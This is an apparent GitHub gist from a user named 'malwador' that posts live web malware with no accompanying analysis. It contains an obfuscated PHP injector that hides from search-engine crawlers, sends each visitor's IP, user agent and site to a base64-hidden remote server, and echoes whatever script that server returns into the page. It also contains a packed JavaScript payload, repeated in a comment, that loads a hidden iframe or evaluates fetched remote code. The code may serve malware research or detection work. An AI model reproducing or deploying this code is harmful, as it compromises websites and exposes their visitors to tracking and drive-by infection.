Last active
December 30, 2015 20:10
-
-
Save malwador/de9db32f4a00eb96dd7c to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <script type="text/javascript"> | |
| eval(function(p,a,c,k,e,d){e=function(c){return c};if(!''.replace(/^/,String)){while(c--){d[c]=k[c]||c}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('26 25(7,13){15 9=7.78(13);11(9>76)54"82: 75 73 5";19 9}26 33(7){11(1!==98.22)54"95: 91 90 86 85";7=97(7);15 13,9,17=[],31=7.22-7.22%3;11(0===7.22)19 7;94(13=0;31>13;13+=3)9=25(7,13)<<16|25(7,13+1)<<8|25(7,13+2),17.28(20.21(9>>18)),17.28(20.21(9>>12&63)),17.28(20.21(9>>6&63)),17.28(20.21(63&9));92(7.22-31){68 1:9=25(7,13)<<16,17.28(20.21(9>>18)+20.21(9>>12&63)+34+34);83;68 2:9=25(7,13)<<16|25(7,13+1)<<8,17.28(20.21(9>>18)+20.21(9>>12&63)+20.21(9>>6&63)+34)}19 17.50("")}15 34="=",20="84+/",77="1.0";26 52(){15 10;37{10=43 71("79.72")}45(17){37{10=43 71("74.72")}45(93){10=88}}11(!10&&89 65!=\'87\'){10=43 65()}19 10}26 70(14){24=14.30(\'\\<53\');11(24==-1)19\'\';24=14.30(\'>\',24);11(24==-1)19\'\';24++;23=14.30(\'\\<\\/53\\>\',24);11(23==-1)19\'\';19 14.60(24,23)}26 62(14){11(14.30(\'%51%\')==-1)19 14;19 14.96(\'%51%\').50(36(33(61.64.80)))}26 57(56){15 27=" "+32.27;15 44=" "+56+"=";15 39=41;15 29=0;15 23=0;11(27.22>0){29=27.30(44);11(29!=-1){29+=44.22;23=27.30(";",29);11(23==-1){23=27.22}39=81(27.60(29,23))}}19(39)}32.108(\'<58 135="38"></58>\');11(57(\'134\')==41){15 35=\'55\'+\'7\'+\'47:\'+\'/\'+\'/\'+\'7\'+\'42\'+\'2\'+\'-\'+\'136\'+\'137\'+\'48\'+\'138\'+\'.\'+\'7\'+\'133\'+\'/\'+\'132\'+\'127\'+\'7.47\'+\'69\';35+=(\'?7=3&42=\'+36(33(61.64.99)));35+=(\'&126=\'+36(33(128.129)));37{15 10=52();10.131(\'130\',35,140);10.146=26(){11(10.147==4&&10.144==145){14=62(10.141);32.67("38").66=14;40=70(14);11(40.22>0)142(40)}};10.143(41)}45(17){32.67("38").66=\'<\'+\'59\'+\'46\'+\'139 49\'+\'124\'+\'="48\'+\'107\'+\':/\'+\'/\'+\'7\'+\'42\'+\'2\'+\'-\'+\'125\'+\'31\'+\'109\'+\'49\'+\'.\'+\'110\'+\'106\'+\'/\'+\'49\'+\'7\'+\'105\'+\'.47\'+\'69"\'+\' 101\'+\'100=\'+\'"0\'+\'" 102\'+\'103\'+\'7="0\'+\'" 46\'+\'104\'+\'111\'+\'31="\'+\'0" 112\'+\'120\'+\'121\'+\'48="\'+\'0" 122\'+\'123\'+\'119\'+\'55="\'+\'0" 118\'+\'114\'+\'113\'+\'115="\'+\'116\'+\'">\'+\'<\'+\'/\'+\'59\'+\'46\'+\'117\'+\'17\'+\'>\'}}',10,148,'|||||||t||_|xmlhttp|if||A|src|var||e||return|_ALPHA|charAt|length|end|start|_pref_xxs_getbyte|function|cookie|push|offset|indexOf|r|document|_pref_xxs_encode64|_PADCHAR|url|encodeURIComponent|try|statspan_0_1|setStr|code|null|d|new|search|catch|fr|p|h|s|join|ENCURL|_pref_xxs_getXmlHttp|script|throw|ht|name|_pref_xxs_getCookie|span|i|substring|window|_pref_xxs_processMacro||location|XMLHttpRequest|innerHTML|getElementById|case|hp|_pref_xxs_extractScript|ActiveXObject|XMLHTTP|Exception|Microsoft|DOM|255|_VERSION|charCodeAt|Msxml2|href|unescape|INVALID_CHARACTER_ERR|break|ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789|required|argument|undefined|false|typeof|one|exactly|switch|E|for|SyntaxError|split|String|arguments|hostname|th|wid|hei|gh|amebo|at|f|ttp|write|u|c|rde|mar|lin|rol|g|no|am|sc|nheig|ginw|idt|ma|rgi|rc|b|ua|a|navigator|userAgent|GET|open|st|k|stat01|id|j|o|n|ame|true|responseText|eval|send|status|200|onreadystatechange|readyState'.split('|'),0,{})) | |
| </script> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| $ { | |
| "GLOBALS" | |
| } | |
| ["vluneurpc"] = "types"; | |
| $ { | |
| "GLOBALS" | |
| } | |
| ["urcvjlr"] = "out"; | |
| $ { | |
| "GLOBALS" | |
| } | |
| ["lcnpzjx"] = "in"; | |
| $ { | |
| "GLOBALS" | |
| } | |
| ["uiswgvyx"] = "url"; | |
| $ { | |
| "GLOBALS" | |
| } | |
| ["xvmcnbazjjs"] = "ua"; | |
| $ { | |
| "GLOBALS" | |
| } | |
| ["auikgvsv"] = "socket"; | |
| $ { | |
| "GLOBALS" | |
| } | |
| ["vtymqvwzg"] = "address"; | |
| $ { | |
| "GLOBALS" | |
| } | |
| ["ukknraxcaxr"] = "res"; | |
| $ { | |
| "GLOBALS" | |
| } | |
| ["dqxamjkw"] = "default_port"; | |
| $ { | |
| "GLOBALS" | |
| } | |
| ["fkinceqq"] = "result"; | |
| $ { | |
| "GLOBALS" | |
| } | |
| ["yczkettlsmd"] = "site"; | |
| $rdgrwcuixqd = "site"; | |
| $skigmhdlq = "ua"; | |
| $ { | |
| "GLOBALS" | |
| } | |
| ["exmlaghi"] = "site"; | |
| $ { | |
| "GLOBALS" | |
| } | |
| ["aglskpdoq"] = "domain"; | |
| @ini_set("display_errors", "Off"); | |
| global $ua; | |
| global $domain; | |
| global $site; | |
| $ { | |
| $ { | |
| "GLOBALS" | |
| } | |
| ["aglskpdoq"] | |
| } = base64_decode(base64_decode("ZEdReUxXTnliM056TG5Scg==")); | |
| $ { | |
| $skigmhdlq | |
| } = urlencode(base64_encode($_SERVER["HTTP_USER_AGENT"])); | |
| if (isset($_SERVER["HTTP_HOST"])) $ { | |
| $ { | |
| "GLOBALS" | |
| } | |
| ["exmlaghi"] | |
| } = $_SERVER["HTTP_HOST"]; | |
| else $ { | |
| $rdgrwcuixqd | |
| } = $_SERVER["SERVER_NAME"]; | |
| $ { | |
| $ { | |
| "GLOBALS" | |
| } | |
| ["yczkettlsmd"] | |
| } = urlencode(base64_encode($ { | |
| $ { | |
| "GLOBALS" | |
| } | |
| ["yczkettlsmd"] | |
| })); | |
| function request_url() { | |
| $ { | |
| "GLOBALS" | |
| } | |
| ["cpwnhwfban"] = "result"; | |
| $xriqxl = "default_port"; | |
| $ { | |
| $ { | |
| "GLOBALS" | |
| } | |
| ["cpwnhwfban"] | |
| } = ""; | |
| $ { | |
| $xriqxl | |
| } = 80; | |
| if (isset($_SERVER["HTTPS"]) && ($_SERVER["HTTPS"] == "on")) { | |
| $ { | |
| $ { | |
| "GLOBALS" | |
| } | |
| ["fkinceqq"] | |
| }.= "https://"; | |
| $ { | |
| $ { | |
| "GLOBALS" | |
| } | |
| ["dqxamjkw"] | |
| } = 443; | |
| } else $ { | |
| $ { | |
| "GLOBALS" | |
| } | |
| ["fkinceqq"] | |
| }.= "http://"; | |
| $ovsllpr = "result"; | |
| $ { | |
| $ { | |
| "GLOBALS" | |
| } | |
| ["fkinceqq"] | |
| }.= $_SERVER["SERVER_NAME"]; | |
| if ($_SERVER["SERVER_PORT"] != $ { | |
| $ { | |
| "GLOBALS" | |
| } | |
| ["dqxamjkw"] | |
| }) $ { | |
| $ { | |
| "GLOBALS" | |
| } | |
| ["fkinceqq"] | |
| }.= ":" . $_SERVER["SERVER_PORT"]; | |
| $ { | |
| $ovsllpr | |
| }.= $_SERVER["REQUEST_URI"]; | |
| return $ { | |
| $ { | |
| "GLOBALS" | |
| } | |
| ["fkinceqq"] | |
| }; | |
| } | |
| function type1($ua, $domain, $site) { | |
| $ { | |
| "GLOBALS" | |
| } | |
| ["qkyncdtk"] = "res"; | |
| $ { | |
| "GLOBALS" | |
| } | |
| ["xhjujejwb"] = "ua"; | |
| $ { | |
| "GLOBALS" | |
| } | |
| ["inhfeimuk"] = "url"; | |
| $qmyrjm = "url"; | |
| $ { | |
| $ { | |
| "GLOBALS" | |
| } | |
| ["inhfeimuk"] | |
| } = "http://" . $ { | |
| $ { | |
| "GLOBALS" | |
| } | |
| ["aglskpdoq"] | |
| } . "/stat.php?t=1&d=" . $ { | |
| $ { | |
| "GLOBALS" | |
| } | |
| ["yczkettlsmd"] | |
| } . "&ua=" . $ { | |
| $ { | |
| "GLOBALS" | |
| } | |
| ["xhjujejwb"] | |
| }; | |
| $ { | |
| "GLOBALS" | |
| } | |
| ["qcypsgr"] = "res"; | |
| $hgopehybrt = "url"; | |
| $ { | |
| $hgopehybrt | |
| }.= ("&ip=" . urlencode($_SERVER["REMOTE_ADDR"])); | |
| $ { | |
| $ { | |
| "GLOBALS" | |
| } | |
| ["ukknraxcaxr"] | |
| } = @file_get_contents($ { | |
| $qmyrjm | |
| }); | |
| if ($ { | |
| $ { | |
| "GLOBALS" | |
| } | |
| ["ukknraxcaxr"] | |
| } === false) return false; | |
| $ { | |
| $ { | |
| "GLOBALS" | |
| } | |
| ["ukknraxcaxr"] | |
| } = str_replace("%ENCURL%", urlencode(base64_encode(request_url())), $ { | |
| $ { | |
| "GLOBALS" | |
| } | |
| ["qkyncdtk"] | |
| }); | |
| return $ { | |
| $ { | |
| "GLOBALS" | |
| } | |
| ["qcypsgr"] | |
| }; | |
| } | |
| function type2($ua, $domain, $site) { | |
| $vhwpaxdspi = "res"; | |
| $glecudsjg = "site"; | |
| $ { | |
| "GLOBALS" | |
| } | |
| ["gqvsrizg"] = "domain"; | |
| $trtisppeg = "in"; | |
| $ { | |
| "GLOBALS" | |
| } | |
| ["jcohppjglyei"] = "url"; | |
| if (function_exists("gethostbyname") === false || function_exists("socket_create") === false || function_exists("socket_connect") === false || function_exists("socket_write") === false || function_exists("socket_read") === false || function_exists("socket_close") === false) return false; | |
| $ { | |
| $ { | |
| "GLOBALS" | |
| } | |
| ["ukknraxcaxr"] | |
| } = false; | |
| $ { | |
| $ { | |
| "GLOBALS" | |
| } | |
| ["vtymqvwzg"] | |
| } = @gethostbyname($ { | |
| $ { | |
| "GLOBALS" | |
| } | |
| ["gqvsrizg"] | |
| }); | |
| $ { | |
| "GLOBALS" | |
| } | |
| ["cdwzups"] = "socket"; | |
| $ { | |
| $ { | |
| "GLOBALS" | |
| } | |
| ["auikgvsv"] | |
| } = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP); | |
| $ { | |
| "GLOBALS" | |
| } | |
| ["bgeipyrd"] = "res"; | |
| $ { | |
| "GLOBALS" | |
| } | |
| ["qvubbmz"] = "address"; | |
| if ($ { | |
| $ { | |
| "GLOBALS" | |
| } | |
| ["auikgvsv"] | |
| } === false) return false; | |
| $ { | |
| $ { | |
| "GLOBALS" | |
| } | |
| ["fkinceqq"] | |
| } = @socket_connect($ { | |
| $ { | |
| "GLOBALS" | |
| } | |
| ["auikgvsv"] | |
| }, $ { | |
| $ { | |
| "GLOBALS" | |
| } | |
| ["qvubbmz"] | |
| }, 80); | |
| if ($ { | |
| $ { | |
| "GLOBALS" | |
| } | |
| ["fkinceqq"] | |
| } === false) return false; | |
| $ { | |
| "GLOBALS" | |
| } | |
| ["hcuutamif"] = "url"; | |
| $ { | |
| $ { | |
| "GLOBALS" | |
| } | |
| ["jcohppjglyei"] | |
| } = "/stat.php?t=2&d=" . $ { | |
| $glecudsjg | |
| } . "&ua=" . $ { | |
| $ { | |
| "GLOBALS" | |
| } | |
| ["xvmcnbazjjs"] | |
| }; | |
| $ { | |
| "GLOBALS" | |
| } | |
| ["llgokhb"] = "in"; | |
| $ { | |
| $ { | |
| "GLOBALS" | |
| } | |
| ["uiswgvyx"] | |
| }.= ("&ip=" . urlencode($_SERVER["REMOTE_ADDR"])); | |
| $owdtnnqfyd = "socket"; | |
| $ { | |
| $ { | |
| "GLOBALS" | |
| } | |
| ["llgokhb"] | |
| } = "GET " . $ { | |
| $ { | |
| "GLOBALS" | |
| } | |
| ["hcuutamif"] | |
| } . " HTTP/1.1 | |
| Host: " . $ { | |
| $ { | |
| "GLOBALS" | |
| } | |
| ["aglskpdoq"] | |
| } . " | |
| Connection: Close | |
| "; | |
| $ovphxdjlz = "res"; | |
| $ { | |
| "GLOBALS" | |
| } | |
| ["suehwectaq"] = "out"; | |
| $ { | |
| "GLOBALS" | |
| } | |
| ["mxlbtoif"] = "res"; | |
| if (@socket_write($ { | |
| $ { | |
| "GLOBALS" | |
| } | |
| ["auikgvsv"] | |
| }, $ { | |
| $ { | |
| "GLOBALS" | |
| } | |
| ["lcnpzjx"] | |
| }, strlen($ { | |
| $trtisppeg | |
| })) === false) return false; | |
| while (($ { | |
| $ { | |
| "GLOBALS" | |
| } | |
| ["suehwectaq"] | |
| } = socket_read($ { | |
| $ { | |
| "GLOBALS" | |
| } | |
| ["cdwzups"] | |
| }, 2048)) != "") { | |
| if ($ { | |
| $ { | |
| "GLOBALS" | |
| } | |
| ["urcvjlr"] | |
| } === false) return false; | |
| $ { | |
| "GLOBALS" | |
| } | |
| ["unntwhdjh"] = "res"; | |
| $ { | |
| $ { | |
| "GLOBALS" | |
| } | |
| ["unntwhdjh"] | |
| }.= $ { | |
| $ { | |
| "GLOBALS" | |
| } | |
| ["urcvjlr"] | |
| }; | |
| } | |
| @socket_close($ { | |
| $owdtnnqfyd | |
| }); | |
| if (($ { | |
| $ { | |
| "GLOBALS" | |
| } | |
| ["ukknraxcaxr"] | |
| } = strstr($ { | |
| $ovphxdjlz | |
| }, " | |
| ")) === false) return false; | |
| $ { | |
| $ { | |
| "GLOBALS" | |
| } | |
| ["ukknraxcaxr"] | |
| } = substr($ { | |
| $ { | |
| "GLOBALS" | |
| } | |
| ["bgeipyrd"] | |
| }, 4); | |
| $ { | |
| $ { | |
| "GLOBALS" | |
| } | |
| ["ukknraxcaxr"] | |
| } = str_replace("%ENCURL%", urlencode(base64_encode(request_url())), $ { | |
| $ { | |
| "GLOBALS" | |
| } | |
| ["mxlbtoif"] | |
| }); | |
| return $ { | |
| $vhwpaxdspi | |
| }; | |
| } | |
| function type3($ua, $domain, $site) { | |
| $ { | |
| "GLOBALS" | |
| } | |
| ["mujpkkvb"] = "res"; | |
| $ { | |
| $ { | |
| "GLOBALS" | |
| } | |
| ["ukknraxcaxr"] | |
| } = base64_decode("PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KZXZhbChmdW5jdGlvbihwLGEsYyxrLGUsZCl7ZT1mdW5jdGlvbihjKXtyZXR1cm4gY307aWYoIScnLnJlcGxhY2UoL14vLFN0cmluZykpe3doaWxlKGMtLSl7ZFtjXT1rW2NdfHxjfWs9W2Z1bmN0aW9uKGUpe3JldHVybiBkW2VdfV07ZT1mdW5jdGlvbigpe3JldHVybidcXHcrJ307Yz0xfTt3aGlsZShjLS0pe2lmKGtbY10pe3A9cC5yZXBsYWNlKG5ldyBSZWdFeHAoJ1xcYicrZShjKSsnXFxiJywnZycpLGtbY10pfX1yZXR1cm4gcH0oJzI2IDI1KDcsMTMpezE1IDk9Ny43OCgxMyk7MTEoOT43Nik1NCI4MjogNzUgNzMgNSI7MTkgOX0yNiAzMyg3KXsxMSgxIT09OTguMjIpNTQiOTU6IDkxIDkwIDg2IDg1Ijs3PTk3KDcpOzE1IDEzLDksMTc9W10sMzE9Ny4yMi03LjIyJTM7MTEoMD09PTcuMjIpMTkgNzs5NCgxMz0wOzMxPjEzOzEzKz0zKTk9MjUoNywxMyk8PDE2fDI1KDcsMTMrMSk8PDh8MjUoNywxMysyKSwxNy4yOCgyMC4yMSg5Pj4xOCkpLDE3LjI4KDIwLjIxKDk+PjEyJjYzKSksMTcuMjgoMjAuMjEoOT4+NiY2MykpLDE3LjI4KDIwLjIxKDYzJjkpKTs5Mig3LjIyLTMxKXs2OCAxOjk9MjUoNywxMyk8PDE2LDE3LjI4KDIwLjIxKDk+PjE4KSsyMC4yMSg5Pj4xMiY2MykrMzQrMzQpOzgzOzY4IDI6OT0yNSg3LDEzKTw8MTZ8MjUoNywxMysxKTw8OCwxNy4yOCgyMC4yMSg5Pj4xOCkrMjAuMjEoOT4+MTImNjMpKzIwLjIxKDk+PjYmNjMpKzM0KX0xOSAxNy41MCgiIil9MTUgMzQ9Ij0iLDIwPSI4NCsvIiw3Nz0iMS4wIjsyNiA1MigpezE1IDEwOzM3ezEwPTQzIDcxKCI3OS43MiIpfTQ1KDE3KXszN3sxMD00MyA3MSgiNzQuNzIiKX00NSg5Myl7MTA9ODh9fTExKCExMCYmODkgNjUhPVwnODdcJyl7MTA9NDMgNjUoKX0xOSAxMH0yNiA3MCgxNCl7MjQ9MTQuMzAoXCdcXDw1M1wnKTsxMSgyND09LTEpMTlcJ1wnOzI0PTE0LjMwKFwnPlwnLDI0KTsxMSgyND09LTEpMTlcJ1wnOzI0Kys7MjM9MTQuMzAoXCdcXDxcXC81M1xcPlwnLDI0KTsxMSgyMz09LTEpMTlcJ1wnOzE5IDE0LjYwKDI0LDIzKX0yNiA2MigxNCl7MTEoMTQuMzAoXCclNTElXCcpPT0tMSkxOSAxNDsxOSAxNC45NihcJyU1MSVcJykuNTAoMzYoMzMoNjEuNjQuODApKSl9MjYgNTcoNTYpezE1IDI3PSIgIiszMi4yNzsxNSA0ND0iICIrNTYrIj0iOzE1IDM5PTQxOzE1IDI5PTA7MTUgMjM9MDsxMSgyNy4yMj4wKXsyOT0yNy4zMCg0NCk7MTEoMjkhPS0xKXsyOSs9NDQuMjI7MjM9MjcuMzAoIjsiLDI5KTsxMSgyMz09LTEpezIzPTI3LjIyfTM5PTgxKDI3LjYwKDI5LDIzKSl9fTE5KDM5KX0zMi4xMDgoXCc8NTggMTM1PSIzOCI+PC81OD5cJyk7MTEoNTcoXCcxMzRcJyk9PTQxKXsxNSAzNT1cJzU1XCcrXCc3XCcrXCc0NzpcJytcJy9cJytcJy9cJytcJzdcJytcJzQyXCcrXCcyXCcrXCctXCcrXCcxMzZcJytcJzEzN1wnK1wnNDhcJytcJzEzOFwnK1wnLlwnK1wnN1wnK1wnMTMzXCcrXCcvXCcrXCcxMzJcJytcJzEyN1wnK1wnNy40N1wnK1wnNjlcJzszNSs9KFwnPzc9MyY0Mj1cJyszNigzMyg2MS42NC45OSkpKTszNSs9KFwnJjEyNj1cJyszNigzMygxMjguMTI5KSkpOzM3ezE1IDEwPTUyKCk7MTAuMTMxKFwnMTMwXCcsMzUsMTQwKTsxMC4xNDY9MjYoKXsxMSgxMC4xNDc9PTQmJjEwLjE0ND09MTQ1KXsxND02MigxMC4xNDEpOzMyLjY3KCIzOCIpLjY2PTE0OzQwPTcwKDE0KTsxMSg0MC4yMj4wKTE0Mig0MCl9fTsxMC4xNDMoNDEpfTQ1KDE3KXszMi42NygiMzgiKS42Nj1cJzxcJytcJzU5XCcrXCc0NlwnK1wnMTM5IDQ5XCcrXCcxMjRcJytcJz0iNDhcJytcJzEwN1wnK1wnOi9cJytcJy9cJytcJzdcJytcJzQyXCcrXCcyXCcrXCctXCcrXCcxMjVcJytcJzMxXCcrXCcxMDlcJytcJzQ5XCcrXCcuXCcrXCcxMTBcJytcJzEwNlwnK1wnL1wnK1wnNDlcJytcJzdcJytcJzEwNVwnK1wnLjQ3XCcrXCc2OSJcJytcJyAxMDFcJytcJzEwMD1cJytcJyIwXCcrXCciIDEwMlwnK1wnMTAzXCcrXCc3PSIwXCcrXCciIDQ2XCcrXCcxMDRcJytcJzExMVwnK1wnMzE9IlwnK1wnMCIgMTEyXCcrXCcxMjBcJytcJzEyMVwnK1wnNDg9IlwnK1wnMCIgMTIyXCcrXCcxMjNcJytcJzExOVwnK1wnNTU9IlwnK1wnMCIgMTE4XCcrXCcxMTRcJytcJzExM1wnK1wnMTE1PSJcJytcJzExNlwnK1wnIj5cJytcJzxcJytcJy9cJytcJzU5XCcrXCc0NlwnK1wnMTE3XCcrXCcxN1wnK1wnPlwnfX0nLDEwLDE0OCwnfHx8fHx8fHR8fF98eG1saHR0cHxpZnx8QXxzcmN8dmFyfHxlfHxyZXR1cm58X0FMUEhBfGNoYXJBdHxsZW5ndGh8ZW5kfHN0YXJ0fF9wcmVmX3h4c19nZXRieXRlfGZ1bmN0aW9ufGNvb2tpZXxwdXNofG9mZnNldHxpbmRleE9mfHJ8ZG9jdW1lbnR8X3ByZWZfeHhzX2VuY29kZTY0fF9QQURDSEFSfHVybHxlbmNvZGVVUklDb21wb25lbnR8dHJ5fHN0YXRzcGFuXzBfMXxzZXRTdHJ8Y29kZXxudWxsfGR8bmV3fHNlYXJjaHxjYXRjaHxmcnxwfGh8c3xqb2lufEVOQ1VSTHxfcHJlZl94eHNfZ2V0WG1sSHR0cHxzY3JpcHR8dGhyb3d8aHR8bmFtZXxfcHJlZl94eHNfZ2V0Q29va2llfHNwYW58aXxzdWJzdHJpbmd8d2luZG93fF9wcmVmX3h4c19wcm9jZXNzTWFjcm98fGxvY2F0aW9ufFhNTEh0dHBSZXF1ZXN0fGlubmVySFRNTHxnZXRFbGVtZW50QnlJZHxjYXNlfGhwfF9wcmVmX3h4c19leHRyYWN0U2NyaXB0fEFjdGl2ZVhPYmplY3R8WE1MSFRUUHxFeGNlcHRpb258TWljcm9zb2Z0fERPTXwyNTV8X1ZFUlNJT058Y2hhckNvZGVBdHxNc3htbDJ8aHJlZnx1bmVzY2FwZXxJTlZBTElEX0NIQVJBQ1RFUl9FUlJ8YnJlYWt8QUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVphYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ejAxMjM0NTY3ODl8cmVxdWlyZWR8YXJndW1lbnR8dW5kZWZpbmVkfGZhbHNlfHR5cGVvZnxvbmV8ZXhhY3RseXxzd2l0Y2h8RXxmb3J8U3ludGF4RXJyb3J8c3BsaXR8U3RyaW5nfGFyZ3VtZW50c3xob3N0bmFtZXx0aHx3aWR8aGVpfGdofGFtZWJvfGF0fGZ8dHRwfHdyaXRlfHV8Y3xyZGV8bWFyfGxpbnxyb2x8Z3xub3xhbXxzY3xuaGVpZ3xnaW53fGlkdHxtYXxyZ2l8cmN8Ynx1YXxhfG5hdmlnYXRvcnx1c2VyQWdlbnR8R0VUfG9wZW58c3R8a3xzdGF0MDF8aWR8anxvfG58YW1lfHRydWV8cmVzcG9uc2VUZXh0fGV2YWx8c2VuZHxzdGF0dXN8MjAwfG9ucmVhZHlzdGF0ZWNoYW5nZXxyZWFkeVN0YXRlJy5zcGxpdCgnfCcpLDAse30pKQ0KPC9zY3JpcHQ+"); | |
| return $ { | |
| $ { | |
| "GLOBALS" | |
| } | |
| ["mujpkkvb"] | |
| }; | |
| } | |
| if ((stripos($_SERVER["HTTP_USER_AGENT"], "Googlebot") == false) && (stripos($_SERVER["HTTP_USER_AGENT"], "YandexBot") == false)) { | |
| $ { | |
| $ { | |
| "GLOBALS" | |
| } | |
| ["vluneurpc"] | |
| } = array("type1", "type2", "type3"); | |
| $ { | |
| "GLOBALS" | |
| } | |
| ["mykpgxbd"] = "func"; | |
| $ldokowp = "types"; | |
| foreach ($ { | |
| $ldokowp | |
| } as $ { | |
| $ { | |
| "GLOBALS" | |
| } | |
| ["mykpgxbd"] | |
| }) { | |
| $ { | |
| "GLOBALS" | |
| } | |
| ["mtejomx"] = "func"; | |
| $ { | |
| "GLOBALS" | |
| } | |
| ["mogsdliisdj"] = "ua"; | |
| $ { | |
| $ { | |
| "GLOBALS" | |
| } | |
| ["ukknraxcaxr"] | |
| } = $ { | |
| $ { | |
| "GLOBALS" | |
| } | |
| ["mtejomx"] | |
| } | |
| ($ { | |
| $ { | |
| "GLOBALS" | |
| } | |
| ["mogsdliisdj"] | |
| }, $ { | |
| $ { | |
| "GLOBALS" | |
| } | |
| ["aglskpdoq"] | |
| }, $ { | |
| $ { | |
| "GLOBALS" | |
| } | |
| ["yczkettlsmd"] | |
| }); | |
| if ($ { | |
| $ { | |
| "GLOBALS" | |
| } | |
| ["ukknraxcaxr"] | |
| } !== false) { | |
| $mkxcufhya = "res"; | |
| echo $ { | |
| $mkxcufhya | |
| }; | |
| break; | |
| } | |
| } | |
| } | |
| ?> |
Author
malwador
commented
Dec 30, 2015
<script type="text/javascript">
eval(function(p,a,c,k,e,d){e=function(c){return c};if(!''.replace(/^/,String)){while(c--){d[c]=k[c]||c}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('26 25(7,13){15 9=7.78(13);11(9>76)54"82: 75 73 5";19 9}26 33(7){11(1!==98.22)54"95: 91 90 86 85";7=97(7);15 13,9,17=[],31=7.22-7.22%3;11(0===7.22)19 7;94(13=0;31>13;13+=3)9=25(7,13)<<16|25(7,13+1)<<8|25(7,13+2),17.28(20.21(9>>18)),17.28(20.21(9>>12&63)),17.28(20.21(9>>6&63)),17.28(20.21(63&9));92(7.22-31){68 1:9=25(7,13)<<16,17.28(20.21(9>>18)+20.21(9>>12&63)+34+34);83;68 2:9=25(7,13)<<16|25(7,13+1)<<8,17.28(20.21(9>>18)+20.21(9>>12&63)+20.21(9>>6&63)+34)}19 17.50("")}15 34="=",20="84+/",77="1.0";26 52(){15 10;37{10=43 71("79.72")}45(17){37{10=43 71("74.72")}45(93){10=88}}11(!10&&89 65!=\'87\'){10=43 65()}19 10}26 70(14){24=14.30(\'\\<53\');11(24==-1)19\'\';24=14.30(\'>\',24);11(24==-1)19\'\';24++;23=14.30(\'\\<\\/53\\>\',24);11(23==-1)19\'\';19 14.60(24,23)}26 62(14){11(14.30(\'%51%\')==-1)19 14;19 14.96(\'%51%\').50(36(33(61.64.80)))}26 57(56){15 27=" "+32.27;15 44=" "+56+"=";15 39=41;15 29=0;15 23=0;11(27.22>0){29=27.30(44);11(29!=-1){29+=44.22;23=27.30(";",29);11(23==-1){23=27.22}39=81(27.60(29,23))}}19(39)}32.108(\'<58 135="38">\');11(57(\'134\')==41){15 35=\'55\'+\'7\'+\'47:\'+\'/\'+\'/\'+\'7\'+\'42\'+\'2\'+\'-\'+\'136\'+\'137\'+\'48\'+\'138\'+\'.\'+\'7\'+\'133\'+\'/\'+\'132\'+\'127\'+\'7.47\'+\'69\';35+=(\'?7=3&42=\'+36(33(61.64.99)));35+=(\'&126=\'+36(33(128.129)));37{15 10=52();10.131(\'130\',35,140);10.146=26(){11(10.147==4&&10.144==145){14=62(10.141);32.67("38").66=14;40=70(14);11(40.22>0)142(40)}};10.143(41)}45(17){32.67("38").66=\'<\'+\'59\'+\'46\'+\'139 49\'+\'124\'+\'="48\'+\'107\'+\':/\'+\'/\'+\'7\'+\'42\'+\'2\'+\'-\'+\'125\'+\'31\'+\'109\'+\'49\'+\'.\'+\'110\'+\'106\'+\'/\'+\'49\'+\'7\'+\'105\'+\'.47\'+\'69"\'+\' 101\'+\'100=\'+\'"0\'+\'" 102\'+\'103\'+\'7="0\'+\'" 46\'+\'104\'+\'111\'+\'31="\'+\'0" 112\'+\'120\'+\'121\'+\'48="\'+\'0" 122\'+\'123\'+\'119\'+\'55="\'+\'0" 118\'+\'114\'+\'113\'+\'115="\'+\'116\'+\'">\'+\'<\'+\'/\'+\'59\'+\'46\'+\'117\'+\'17\'+\'>\'}}',10,148,'|||||||t||_|xmlhttp|if||A|src|var||e||return|_ALPHA|charAt|length|end|start|_pref_xxs_getbyte|function|cookie|push|offset|indexOf|r|document|_pref_xxs_encode64|_PADCHAR|url|encodeURIComponent|try|statspan_0_1|setStr|code|null|d|new|search|catch|fr|p|h|s|join|ENCURL|_pref_xxs_getXmlHttp|script|throw|ht|name|_pref_xxs_getCookie|span|i|substring|window|_pref_xxs_processMacro||location|XMLHttpRequest|innerHTML|getElementById|case|hp|_pref_xxs_extractScript|ActiveXObject|XMLHTTP|Exception|Microsoft|DOM|255|_VERSION|charCodeAt|Msxml2|href|unescape|INVALID_CHARACTER_ERR|break|ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789|required|argument|undefined|false|typeof|one|exactly|switch|E|for|SyntaxError|split|String|arguments|hostname|th|wid|hei|gh|amebo|at|f|ttp|write|u|c|rde|mar|lin|rol|g|no|am|sc|nheig|ginw|idt|ma|rgi|rc|b|ua|a|navigator|userAgent|GET|open|st|k|stat01|id|j|o|n|ame|true|responseText|eval|send|status|200|onreadystatechange|readyState'.split('|'),0,{}))
</script>
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment